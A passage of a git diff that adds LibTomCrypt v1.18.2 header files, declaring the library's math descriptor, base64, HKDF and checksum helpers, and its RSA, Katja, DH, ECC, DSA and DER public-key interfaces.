(a*a mod b) + @return CRYPT_OK on success + */ + int (*sqrmod)(void *a, void *b, void *c); + + /** Modular inversion + @param a The value to invert + @param b The modulus + @param c The destination (1/a mod b) + @return CRYPT_OK on success + */ + int (*invmod)(void *, void *, void *); + +/* ---- reduction ---- */ + + /** setup Montgomery + @param a The modulus + @param b The destination for the reduction digit + @return CRYPT_OK on success + */ + int (*montgomery_setup)(void *a, void **b); + + /** get normalization value + @param a The destination for the normalization value + @param b The modulus + @return CRYPT_OK on success + */ + int (*montgomery_normalization)(void *a, void *b); + + /** reduce a number + @param a The number [and dest] to reduce + @param b The modulus + @param c The value "b" from montgomery_setup() + @return CRYPT_OK on success + */ + int (*montgomery_reduce)(void *a, void *b, void *c); + + /** clean up (frees memory) + @param a The value "b" from montgomery_setup() + @return CRYPT_OK on success + */ + void (*montgomery_deinit)(void *a); + +/* ---- exponentiation ---- */ + + /** Modular exponentiation + @param a The base integer + @param b The power (can be negative) integer + @param c The modulus integer + @param d The destination + @return CRYPT_OK on success + */ + int (*exptmod)(void *a, void *b, void *c, void *d); + + /** Primality testing + @param a The integer to test + @param b The number of Miller-Rabin tests that shall be executed + @param c The destination of the result (FP_YES if prime) + @return CRYPT_OK on success + */ + int (*isprime)(void *a, int b, int *c); + +/* ---- (optional) ecc point math ---- */ + + /** ECC GF(p) point multiplication (from the NIST curves) + @param k The integer to multiply the point by + @param G The point to multiply + @param R The destination for kG + @param modulus The modulus for the field + @param map Boolean indicated whether to map back to affine or not + (can be ignored if you work in affine only) + @return CRYPT_OK on success + */ + int (*ecc_ptmul)( void *k, + ecc_point *G, + ecc_point *R, + void *modulus, + int map); + + /** ECC GF(p) point addition + @param P The first point + @param Q The second point + @param R The destination of P + Q + @param modulus The modulus + @param mp The "b" value from montgomery_setup() + @return CRYPT_OK on success + */ + int (*ecc_ptadd)(ecc_point *P, + ecc_point *Q, + ecc_point *R, + void *modulus, + void *mp); + + /** ECC GF(p) point double + @param P The first point + @param R The destination of 2P + @param modulus The modulus + @param mp The "b" value from montgomery_setup() + @return CRYPT_OK on success + */ + int (*ecc_ptdbl)(ecc_point *P, + ecc_point *R, + void *modulus, + void *mp); + + /** ECC mapping from projective to affine, + currently uses (x,y,z) => (x/z^2, y/z^3, 1) + @param P The point to map + @param modulus The modulus + @param mp The "b" value from montgomery_setup() + @return CRYPT_OK on success + @remark The mapping can be different but keep in mind a + ecc_point only has three integers (x,y,z) so if + you use a different mapping you have to make it fit. + */ + int (*ecc_map)(ecc_point *P, void *modulus, void *mp); + + /** Computes kA*A + kB*B = C using Shamir's Trick + @param A First point to multiply + @param kA What to multiple A by + @param B Second point to multiply + @param kB What to multiple B by + @param C [out] Destination point (can overlap with A or B) + @param modulus Modulus for curve + @return CRYPT_OK on success + */ + int (*ecc_mul2add)(ecc_point *A, void *kA, + ecc_point *B, void *kB, + ecc_point *C, + void *modulus); + +/* ---- (optional) rsa optimized math (for internal CRT) ---- */ + + /** RSA Key Generation + @param prng An active PRNG state + @param wprng The index of the PRNG desired + @param size The size of the key in octets + @param e The "e" value (public key). + e==65537 is a good choice + @param key [out] Destination of a newly created private key pair + @return CRYPT_OK if successful, upon error all allocated ram is freed + */ + int (*rsa_keygen)(prng_state *prng, + int wprng, + int size, + long e, + rsa_key *key); + + /** RSA exponentiation + @param in The octet array representing the base + @param inlen The length of the input + @param out The destination (to be stored in an octet array format) + @param outlen The length of the output buffer and the resulting size + (zero padded to the size of the modulus) + @param which PK_PUBLIC for public RSA and PK_PRIVATE for private RSA + @param key The RSA key to use + @return CRYPT_OK on success + */ + int (*rsa_me)(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int which, + rsa_key *key); + +/* ---- basic math continued ---- */ + + /** Modular addition + @param a The first source + @param b The second source + @param c The modulus + @param d The destination (a + b mod c) + @return CRYPT_OK on success + */ + int (*addmod)(void *a, void *b, void *c, void *d); + + /** Modular substraction + @param a The first source + @param b The second source + @param c The modulus + @param d The destination (a - b mod c) + @return CRYPT_OK on success + */ + int (*submod)(void *a, void *b, void *c, void *d); + +/* ---- misc stuff ---- */ + + /** Make a pseudo-random mpi + @param a The mpi to make random + @param size The desired length + @return CRYPT_OK on success + */ + int (*rand)(void *a, int size); +} ltc_math_descriptor; + +extern ltc_math_descriptor ltc_mp; + +int ltc_init_multi(void **a, ...); +void ltc_deinit_multi(void *a, ...); +void ltc_cleanup_multi(void **a, ...); + +#ifdef LTM_DESC +extern const ltc_math_descriptor ltm_desc; +#endif + +#ifdef TFM_DESC +extern const ltc_math_descriptor tfm_desc; +#endif + +#ifdef GMP_DESC +extern const ltc_math_descriptor gmp_desc; +#endif + +#if !defined(DESC_DEF_ONLY) && defined(LTC_SOURCE) + +#define MP_DIGIT_BIT ltc_mp.bits_per_digit + +/* some handy macros */ +#define mp_init(a) ltc_mp.init(a) +#define mp_init_multi ltc_init_multi +#define mp_clear(a) ltc_mp.deinit(a) +#define mp_clear_multi ltc_deinit_multi +#define mp_cleanup_multi ltc_cleanup_multi +#define mp_init_copy(a, b) ltc_mp.init_copy(a, b) + +#define mp_neg(a, b) ltc_mp.neg(a, b) +#define mp_copy(a, b) ltc_mp.copy(a, b) + +#define mp_set(a, b) ltc_mp.set_int(a, b) +#define mp_set_int(a, b) ltc_mp.set_int(a, b) +#define mp_get_int(a) ltc_mp.get_int(a) +#define mp_get_digit(a, n) ltc_mp.get_digit(a, n) +#define mp_get_digit_count(a) ltc_mp.get_digit_count(a) +#define mp_cmp(a, b) ltc_mp.compare(a, b) +#define mp_cmp_d(a, b) ltc_mp.compare_d(a, b) +#define mp_count_bits(a) ltc_mp.count_bits(a) +#define mp_cnt_lsb(a) ltc_mp.count_lsb_bits(a) +#define mp_2expt(a, b) ltc_mp.twoexpt(a, b) + +#define mp_read_radix(a, b, c) ltc_mp.read_radix(a, b, c) +#define mp_toradix(a, b, c) ltc_mp.write_radix(a, b, c) +#define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a) +#define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b) +#define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c) + +#define mp_add(a, b, c) ltc_mp.add(a, b, c) +#define mp_add_d(a, b, c) ltc_mp.addi(a, b, c) +#define mp_sub(a, b, c) ltc_mp.sub(a, b, c) +#define mp_sub_d(a, b, c) ltc_mp.subi(a, b, c) +#define mp_mul(a, b, c) ltc_mp.mul(a, b, c) +#define mp_mul_d(a, b, c) ltc_mp.muli(a, b, c) +#define mp_sqr(a, b) ltc_mp.sqr(a, b) +#define mp_div(a, b, c, d) ltc_mp.mpdiv(a, b, c, d) +#define mp_div_2(a, b) ltc_mp.div_2(a, b) +#define mp_mod(a, b, c) ltc_mp.mpdiv(a, b, NULL, c) +#define mp_mod_d(a, b, c) ltc_mp.modi(a, b, c) +#define mp_gcd(a, b, c) ltc_mp.gcd(a, b, c) +#define mp_lcm(a, b, c) ltc_mp.lcm(a, b, c) + +#define mp_addmod(a, b, c, d) ltc_mp.addmod(a, b, c, d) +#define mp_submod(a, b, c, d) ltc_mp.submod(a, b, c, d) +#define mp_mulmod(a, b, c, d) ltc_mp.mulmod(a, b, c, d) +#define mp_sqrmod(a, b, c) ltc_mp.sqrmod(a, b, c) +#define mp_invmod(a, b, c) ltc_mp.invmod(a, b, c) + +#define mp_montgomery_setup(a, b) ltc_mp.montgomery_setup(a, b) +#define mp_montgomery_normalization(a, b) ltc_mp.montgomery_normalization(a, b) +#define mp_montgomery_reduce(a, b, c) ltc_mp.montgomery_reduce(a, b, c) +#define mp_montgomery_free(a) ltc_mp.montgomery_deinit(a) + +#define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d) +#define mp_prime_is_prime(a, b, c) ltc_mp.isprime(a, b, c) + +#define mp_iszero(a) (mp_cmp_d(a, 0) == LTC_MP_EQ ? LTC_MP_YES : LTC_MP_NO) +#define mp_isodd(a) (mp_get_digit_count(a) > 0 ? (mp_get_digit(a, 0) & 1 ? LTC_MP_YES : LTC_MP_NO) : LTC_MP_NO) +#define mp_exch(a, b) do { void *ABC__tmp = a; a = b; b = ABC__tmp; } while(0) + +#define mp_tohex(a, b) mp_toradix(a, b, 16) + +#define mp_rand(a, b) ltc_mp.rand(a, b) + +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_misc.h b/include/tomcrypt_misc.h new file mode 100644 index 0000000..2460d66 --- /dev/null +++ b/include/tomcrypt_misc.h @@ -0,0 +1,113 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- LTC_BASE64 Routines ---- */ +#ifdef LTC_BASE64 +int base64_encode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); + +int base64_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +int base64_strict_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +#endif + +#ifdef LTC_BASE64_URL +int base64url_encode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +int base64url_strict_encode(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int base64url_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +int base64url_strict_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +#endif + +/* ===> LTC_HKDF -- RFC5869 HMAC-based Key Derivation Function <=== */ +#ifdef LTC_HKDF + +int hkdf_test(void); + +int hkdf_extract(int hash_idx, + const unsigned char *salt, unsigned long saltlen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int hkdf_expand(int hash_idx, + const unsigned char *info, unsigned long infolen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long outlen); + +int hkdf(int hash_idx, + const unsigned char *salt, unsigned long saltlen, + const unsigned char *info, unsigned long infolen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long outlen); + +#endif /* LTC_HKDF */ + +/* ---- MEM routines ---- */ +int mem_neq(const void *a, const void *b, size_t len); +void zeromem(volatile void *dst, size_t len); +void burn_stack(unsigned long len); + +const char *error_to_string(int err); + +extern const char *crypt_build_settings; + +/* ---- HMM ---- */ +int crypt_fsa(void *mp, ...); + +/* ---- Dynamic language support ---- */ +int crypt_get_constant(const char* namein, int *valueout); +int crypt_list_all_constants(char *names_list, unsigned int *names_list_size); + +int crypt_get_size(const char* namein, unsigned int *sizeout); +int crypt_list_all_sizes(char *names_list, unsigned int *names_list_size); + +#ifdef LTM_DESC +void init_LTM(void); +#endif +#ifdef TFM_DESC +void init_TFM(void); +#endif +#ifdef GMP_DESC +void init_GMP(void); +#endif + +#ifdef LTC_ADLER32 +typedef struct adler32_state_s +{ + unsigned short s[2]; +} adler32_state; + +void adler32_init(adler32_state *ctx); +void adler32_update(adler32_state *ctx, const unsigned char *input, unsigned long length); +void adler32_finish(adler32_state *ctx, void *hash, unsigned long size); +int adler32_test(void); +#endif + +#ifdef LTC_CRC32 +typedef struct crc32_state_s +{ + ulong32 crc; +} crc32_state; + +void crc32_init(crc32_state *ctx); +void crc32_update(crc32_state *ctx, const unsigned char *input, unsigned long length); +void crc32_finish(crc32_state *ctx, void *hash, unsigned long size); +int crc32_test(void); +#endif + +int compare_testvector(const void* is, const unsigned long is_len, const void* should, const unsigned long should_len, const char* what, int which); + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_pk.h b/include/tomcrypt_pk.h new file mode 100644 index 0000000..4306bc3 --- /dev/null +++ b/include/tomcrypt_pk.h @@ -0,0 +1,747 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- NUMBER THEORY ---- */ + +enum { + PK_PUBLIC=0, + PK_PRIVATE=1 +}; + +/* Indicates standard output formats that can be read e.g. by OpenSSL or GnuTLS */ +#define PK_STD 0x1000 + +int rand_prime(void *N, long len, prng_state *prng, int wprng); + +#ifdef LTC_SOURCE +/* internal helper functions */ +int rand_bn_bits(void *N, int bits, prng_state *prng, int wprng); +int rand_bn_upto(void *N, void *limit, prng_state *prng, int wprng); + +enum public_key_algorithms { + PKA_RSA, + PKA_DSA +}; + +typedef struct Oid { + unsigned long OID[16]; + /** Number of OID digits in use */ + unsigned long OIDlen; +} oid_st; + +int pk_get_oid(int pk, oid_st *st); +#endif /* LTC_SOURCE */ + +/* ---- RSA ---- */ +#ifdef LTC_MRSA + +/** RSA PKCS style key */ +typedef struct Rsa_key { + /** Type of key, PK_PRIVATE or PK_PUBLIC */ + int type; + /** The public exponent */ + void *e; + /** The private exponent */ + void *d; + /** The modulus */ + void *N; + /** The p factor of N */ + void *p; + /** The q factor of N */ + void *q; + /** The 1/q mod p CRT param */ + void *qP; + /** The d mod (p - 1) CRT param */ + void *dP; + /** The d mod (q - 1) CRT param */ + void *dQ; +} rsa_key; + +int rsa_make_key(prng_state *prng, int wprng, int size, long e, rsa_key *key); + +int rsa_get_size(rsa_key *key); + +int rsa_exptmod(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int which, + rsa_key *key); + +void rsa_free(rsa_key *key); + +/* These use PKCS #1 v2.0 padding */ +#define rsa_encrypt_key(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _prng, _prng_idx, _hash_idx, _key) \ + rsa_encrypt_key_ex(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _prng, _prng_idx, _hash_idx, LTC_PKCS_1_OAEP, _key) + +#define rsa_decrypt_key(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _hash_idx, _stat, _key) \ + rsa_decrypt_key_ex(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _hash_idx, LTC_PKCS_1_OAEP, _stat, _key) + +#define rsa_sign_hash(_in, _inlen, _out, _outlen, _prng, _prng_idx, _hash_idx, _saltlen, _key) \ + rsa_sign_hash_ex(_in, _inlen, _out, _outlen, LTC_PKCS_1_PSS, _prng, _prng_idx, _hash_idx, _saltlen, _key) + +#define rsa_verify_hash(_sig, _siglen, _hash, _hashlen, _hash_idx, _saltlen, _stat, _key) \ + rsa_verify_hash_ex(_sig, _siglen, _hash, _hashlen, LTC_PKCS_1_PSS, _hash_idx, _saltlen, _stat, _key) + +#define rsa_sign_saltlen_get_max(_hash_idx, _key) \ + rsa_sign_saltlen_get_max_ex(LTC_PKCS_1_PSS, _hash_idx, _key) + +/* These can be switched between PKCS #1 v2.x and PKCS #1 v1.5 paddings */ +int rsa_encrypt_key_ex(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + prng_state *prng, int prng_idx, int hash_idx, int padding, rsa_key *key); + +int rsa_decrypt_key_ex(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + int hash_idx, int padding, + int *stat, rsa_key *key); + +int rsa_sign_hash_ex(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + int padding, + prng_state *prng, int prng_idx, + int hash_idx, unsigned long saltlen, + rsa_key *key); + +int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int padding, + int hash_idx, unsigned long saltlen, + int *stat, rsa_key *key); + +int rsa_sign_saltlen_get_max_ex(int padding, int hash_idx, rsa_key *key); + +/* PKCS #1 import/export */ +int rsa_export(unsigned char *out, unsigned long *outlen, int type, rsa_key *key); +int rsa_import(const unsigned char *in, unsigned long inlen, rsa_key *key); + +int rsa_import_x509(const unsigned char *in, unsigned long inlen, rsa_key *key); +int rsa_import_pkcs8(const unsigned char *in, unsigned long inlen, + const void *passwd, unsigned long passwdlen, rsa_key *key); + +int rsa_set_key(const unsigned char *N, unsigned long Nlen, + const unsigned char *e, unsigned long elen, + const unsigned char *d, unsigned long dlen, + rsa_key *key); +int rsa_set_factors(const unsigned char *p, unsigned long plen, + const unsigned char *q, unsigned long qlen, + rsa_key *key); +int rsa_set_crt_params(const unsigned char *dP, unsigned long dPlen, + const unsigned char *dQ, unsigned long dQlen, + const unsigned char *qP, unsigned long qPlen, + rsa_key *key); +#endif + +/* ---- Katja ---- */ +#ifdef LTC_MKAT + +/* Min and Max KAT key sizes (in bits) */ +#define MIN_KAT_SIZE 1024 +#define MAX_KAT_SIZE 4096 + +/** Katja PKCS style key */ +typedef struct KAT_key { + /** Type of key, PK_PRIVATE or PK_PUBLIC */ + int type; + /** The private exponent */ + void *d; + /** The modulus */ + void *N; + /** The p factor of N */ + void *p; + /** The q factor of N */ + void *q; + /** The 1/q mod p CRT param */ + void *qP; + /** The d mod (p - 1) CRT param */ + void *dP; + /** The d mod (q - 1) CRT param */ + void *dQ; + /** The pq param */ + void *pq; +} katja_key; + +int katja_make_key(prng_state *prng, int wprng, int size, katja_key *key); + +int katja_exptmod(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int which, + katja_key *key); + +void katja_free(katja_key *key); + +/* These use PKCS #1 v2.0 padding */ +int katja_encrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + prng_state *prng, int prng_idx, int hash_idx, katja_key *key); + +int katja_decrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + int hash_idx, int *stat, + katja_key *key); + +/* PKCS #1 import/export */ +int katja_export(unsigned char *out, unsigned long *outlen, int type, katja_key *key); +int katja_import(const unsigned char *in, unsigned long inlen, katja_key *key); + +#endif + +/* ---- DH Routines ---- */ +#ifdef LTC_MDH + +typedef struct { + int type; + void *x; + void *y; + void *base; + void *prime; +} dh_key; + +int dh_get_groupsize(dh_key *key); + +int dh_export(unsigned char *out, unsigned long *outlen, int type, dh_key *key); +int dh_import(const unsigned char *in, unsigned long inlen, dh_key *key); + +int dh_set_pg(const unsigned char *p, unsigned long plen, + const unsigned char *g, unsigned long glen, + dh_key *key); +int dh_set_pg_dhparam(const unsigned char *dhparam, unsigned long dhparamlen, dh_key *key); +int dh_set_pg_groupsize(int groupsize, dh_key *key); + +int dh_set_key(const unsigned char *in, unsigned long inlen, int type, dh_key *key); +int dh_generate_key(prng_state *prng, int wprng, dh_key *key); + +int dh_shared_secret(dh_key *private_key, dh_key *public_key, + unsigned char *out, unsigned long *outlen); + +void dh_free(dh_key *key); + +int dh_export_key(void *out, unsigned long *outlen, int type, dh_key *key); + +#ifdef LTC_SOURCE +typedef struct { + int size; + const char *name, *base, *prime; +} ltc_dh_set_type; + +extern const ltc_dh_set_type ltc_dh_sets[]; + +/* internal helper functions */ +int dh_check_pubkey(dh_key *key); +#endif + +#endif /* LTC_MDH */ + + +/* ---- ECC Routines ---- */ +#ifdef LTC_MECC + +/* size of our temp buffers for exported keys */ +#define ECC_BUF_SIZE 256 + +/* max private key size */ +#define ECC_MAXSIZE 66 + +/** Structure defines a NIST GF(p) curve */ +typedef struct { + /** The size of the curve in octets */ + int size; + + /** name of curve */ + const char *name; + + /** The prime that defines the field the curve is in (encoded in hex) */ + const char *prime; + + /** The fields B param (hex) */ + const char *B; + + /** The order of the curve (hex) */ + const char *order; + + /** The x co-ordinate of the base point on the curve (hex) */ + const char *Gx; + + /** The y co-ordinate of the base point on the curve (hex) */ + const char *Gy; +} ltc_ecc_set_type; + +/** A point on a ECC curve, stored in Jacbobian format such that (x,y,z) => (x/z^2, y/z^3, 1) when interpretted as affine */ +typedef struct { + /** The x co-ordinate */ + void *x; + + /** The y co-ordinate */ + void *y; + + /** The z co-ordinate */ + void *z; +} ecc_point; + +/** An ECC key */ +typedef struct { + /** Type of key, PK_PRIVATE or PK_PUBLIC */ + int type; + + /** Index into the ltc_ecc_sets[] for the parameters of this curve; if -1, then this key is using user supplied curve in dp */ + int idx; + + /** pointer to domain parameters; either points to NIST curves (identified by idx >= 0) or user supplied curve */ + const ltc_ecc_set_type *dp; + + /** The public key */ + ecc_point pubkey; + + /** The private key */ + void *k; +} ecc_key; + +/** the ECC params provided */ +extern const ltc_ecc_set_type ltc_ecc_sets[]; + +int ecc_test(void); +void ecc_sizes(int *low, int *high); +int ecc_get_size(ecc_key *key); + +int ecc_make_key(prng_state *prng, int wprng, int keysize, ecc_key *key); +int ecc_make_key_ex(prng_state *prng, int wprng, ecc_key *key, const ltc_ecc_set_type *dp); +void ecc_free(ecc_key *key); + +int ecc_export(unsigned char *out, unsigned long *outlen, int type, ecc_key *key); +int ecc_import(const unsigned char *in, unsigned long inlen, ecc_key *key); +int ecc_import_ex(const unsigned char *in, unsigned long inlen, ecc_key *key, const ltc_ecc_set_type *dp); + +int ecc_ansi_x963_export(ecc_key *key, unsigned char *out, unsigned long *outlen); +int ecc_ansi_x963_import(const unsigned char *in, unsigned long inlen, ecc_key *key); +int ecc_ansi_x963_import_ex(const unsigned char *in, unsigned long inlen, ecc_key *key, ltc_ecc_set_type *dp); + +int ecc_shared_secret(ecc_key *private_key, ecc_key *public_key, + unsigned char *out, unsigned long *outlen); + +int ecc_encrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, int hash, + ecc_key *key); + +int ecc_decrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + ecc_key *key); + +int ecc_sign_hash_rfc7518(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, ecc_key *key); + +int ecc_sign_hash(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, ecc_key *key); + +int ecc_verify_hash_rfc7518(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int *stat, ecc_key *key); + +int ecc_verify_hash(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int *stat, ecc_key *key); + +/* low level functions */ +ecc_point *ltc_ecc_new_point(void); +void ltc_ecc_del_point(ecc_point *p); +int ltc_ecc_is_valid_idx(int n); + +/* point ops (mp == montgomery digit) */ +#if !defined(LTC_MECC_ACCEL) || defined(LTM_DESC) || defined(GMP_DESC) +/* R = 2P */ +int ltc_ecc_projective_dbl_point(ecc_point *P, ecc_point *R, void *modulus, void *mp); + +/* R = P + Q */ +int ltc_ecc_projective_add_point(ecc_point *P, ecc_point *Q, ecc_point *R, void *modulus, void *mp); +#endif + +#if defined(LTC_MECC_FP) +/* optimized point multiplication using fixed point cache (HAC algorithm 14.117) */ +int ltc_ecc_fp_mulmod(void *k, ecc_point *G, ecc_point *R, void *modulus, int map); + +/* functions for saving/loading/freeing/adding to fixed point cache */ +int ltc_ecc_fp_save_state(unsigned char **out, unsigned long *outlen); +int ltc_ecc_fp_restore_state(unsigned char *in, unsigned long inlen); +void ltc_ecc_fp_free(void); +int ltc_ecc_fp_add_point(ecc_point *g, void *modulus, int lock); + +/* lock/unlock all points currently in fixed point cache */ +void ltc_ecc_fp_tablelock(int lock); +#endif + +/* R = kG */ +int ltc_ecc_mulmod(void *k, ecc_point *G, ecc_point *R, void *modulus, int map); + +#ifdef LTC_ECC_SHAMIR +/* kA*A + kB*B = C */ +int ltc_ecc_mul2add(ecc_point *A, void *kA, + ecc_point *B, void *kB, + ecc_point *C, + void *modulus); + +#ifdef LTC_MECC_FP +/* Shamir's trick with optimized point multiplication using fixed point cache */ +int ltc_ecc_fp_mul2add(ecc_point *A, void *kA, + ecc_point *B, void *kB, + ecc_point *C, void *modulus); +#endif + +#endif + + +/* map P to affine from projective */ +int ltc_ecc_map(ecc_point *P, void *modulus, void *mp); + +#endif + +#ifdef LTC_MDSA + +/* Max diff between group and modulus size in bytes */ +#define LTC_MDSA_DELTA 512 + +/* Max DSA group size in bytes (default allows 4k-bit groups) */ +#define LTC_MDSA_MAX_GROUP 512 + +/** DSA key structure */ +typedef struct { + /** The key type, PK_PRIVATE or PK_PUBLIC */ + int type; + + /** The order of the sub-group used in octets */ + int qord; + + /** The generator */ + void *g; + + /** The prime used to generate the sub-group */ + void *q; + + /** The large prime that generats the field the contains the sub-group */ + void *p; + + /** The private key */ + void *x; + + /** The public key */ + void *y; +} dsa_key; + +int dsa_make_key(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key); + +int dsa_set_pqg(const unsigned char *p, unsigned long plen, + const unsigned char *q, unsigned long qlen, + const unsigned char *g, unsigned long glen, + dsa_key *key); +int dsa_set_pqg_dsaparam(const unsigned char *dsaparam, unsigned long dsaparamlen, dsa_key *key); +int dsa_generate_pqg(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key); + +int dsa_set_key(const unsigned char *in, unsigned long inlen, int type, dsa_key *key); +int dsa_generate_key(prng_state *prng, int wprng, dsa_key *key); + +void dsa_free(dsa_key *key); + +int dsa_sign_hash_raw(const unsigned char *in, unsigned long inlen, + void *r, void *s, + prng_state *prng, int wprng, dsa_key *key); + +int dsa_sign_hash(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, dsa_key *key); + +int dsa_verify_hash_raw( void *r, void *s, + const unsigned char *hash, unsigned long hashlen, + int *stat, dsa_key *key); + +int dsa_verify_hash(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int *stat, dsa_key *key); + +int dsa_encrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, int hash, + dsa_key *key); + +int dsa_decrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + dsa_key *key); + +int dsa_import(const unsigned char *in, unsigned long inlen, dsa_key *key); +int dsa_export(unsigned char *out, unsigned long *outlen, int type, dsa_key *key); +int dsa_verify_key(dsa_key *key, int *stat); +#ifdef LTC_SOURCE +/* internal helper functions */ +int dsa_int_validate_xy(dsa_key *key, int *stat); +int dsa_int_validate_pqg(dsa_key *key, int *stat); +int dsa_int_validate_primes(dsa_key *key, int *stat); +#endif +int dsa_shared_secret(void *private_key, void *base, + dsa_key *public_key, + unsigned char *out, unsigned long *outlen); +#endif + +#ifdef LTC_DER +/* DER handling */ + +typedef enum ltc_asn1_type_ { + /* 0 */ + LTC_ASN1_EOL, + LTC_ASN1_BOOLEAN, + LTC_ASN1_INTEGER, + LTC_ASN1_SHORT_INTEGER, + LTC_ASN1_BIT_STRING, + /* 5 */ + LTC_ASN1_OCTET_STRING, + LTC_ASN1_NULL, + LTC_ASN1_OBJECT_IDENTIFIER, + LTC_ASN1_IA5_STRING, + LTC_ASN1_PRINTABLE_STRING, + /* 10 */ + LTC_ASN1_UTF8_STRING, + LTC_ASN1_UTCTIME, + LTC_ASN1_CHOICE, + LTC_ASN1_SEQUENCE, + LTC_ASN1_SET, + /* 15 */ + LTC_ASN1_SETOF, + LTC_ASN1_RAW_BIT_STRING, + LTC_ASN1_TELETEX_STRING, + LTC_ASN1_CONSTRUCTED, + LTC_ASN1_CONTEXT_SPECIFIC, + /* 20 */ + LTC_ASN1_GENERALIZEDTIME, +} ltc_asn1_type; + +/** A LTC ASN.1 list type */ +typedef struct ltc_asn1_list_ { + /** The LTC ASN.1 enumerated type identifier */ + ltc_asn1_type type; + /** The data to encode or place for decoding */ + void *data; + /** The size of the input or resulting output */ + unsigned long size; + /** The used flag, this is used by the CHOICE ASN.1 type to indicate which choice was made */ + int used; + /** prev/next entry in the list */ + struct ltc_asn1_list_ *prev, *next, *child, *parent; +} ltc_asn1_list; + +#define LTC_SET_ASN1(list, index, Type, Data, Size) \ + do { \ + int LTC_MACRO_temp = (index); \ + ltc_asn1_list *LTC_MACRO_list = (list); \ + LTC_MACRO_list[LTC_MACRO_temp].type = (Type); \ + LTC_MACRO_list[LTC_MACRO_temp].data = (void*)(Data); \ + LTC_MACRO_list[LTC_MACRO_temp].size = (Size); \ + LTC_MACRO_list[LTC_MACRO_temp].used = 0; \ + } while (0) + +/* SEQUENCE */ +int der_encode_sequence_ex(ltc_asn1_list *list, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int type_of); + +#define der_encode_sequence(list, inlen, out, outlen) der_encode_sequence_ex(list, inlen, out, outlen, LTC_ASN1_SEQUENCE) + +int der_decode_sequence_ex(const unsigned char *in, unsigned long inlen, + ltc_asn1_list *list, unsigned long outlen, int ordered); + +#define der_decode_sequence(in, inlen, list, outlen) der_decode_sequence_ex(in, inlen, list, outlen, 1) + +int der_length_sequence(ltc_asn1_list *list, unsigned long inlen, + unsigned long *outlen); + + +#ifdef LTC_SOURCE +/* internal helper functions */ +int der_length_sequence_ex(ltc_asn1_list *list, unsigned long inlen, + unsigned long *outlen, unsigned long *payloadlen); +/* SUBJECT PUBLIC KEY INFO */ +int der_encode_subject_public_key_info(unsigned char *out, unsigned long *outlen, + unsigned int algorithm, void* public_key, unsigned long public_key_len, + unsigned long parameters_type, void* parameters, unsigned long parameters_len); + +int der_decode_subject_public_key_info(const unsigned char *in, unsigned long inlen, + unsigned int algorithm, void* public_key, unsigned long* public_key_len, + unsigned long parameters_type, ltc_asn1_list* parameters, unsigned long parameters_len); +#endif /* LTC_SOURCE */ + +/* SET */ +#define der_decode_set(in, inlen, 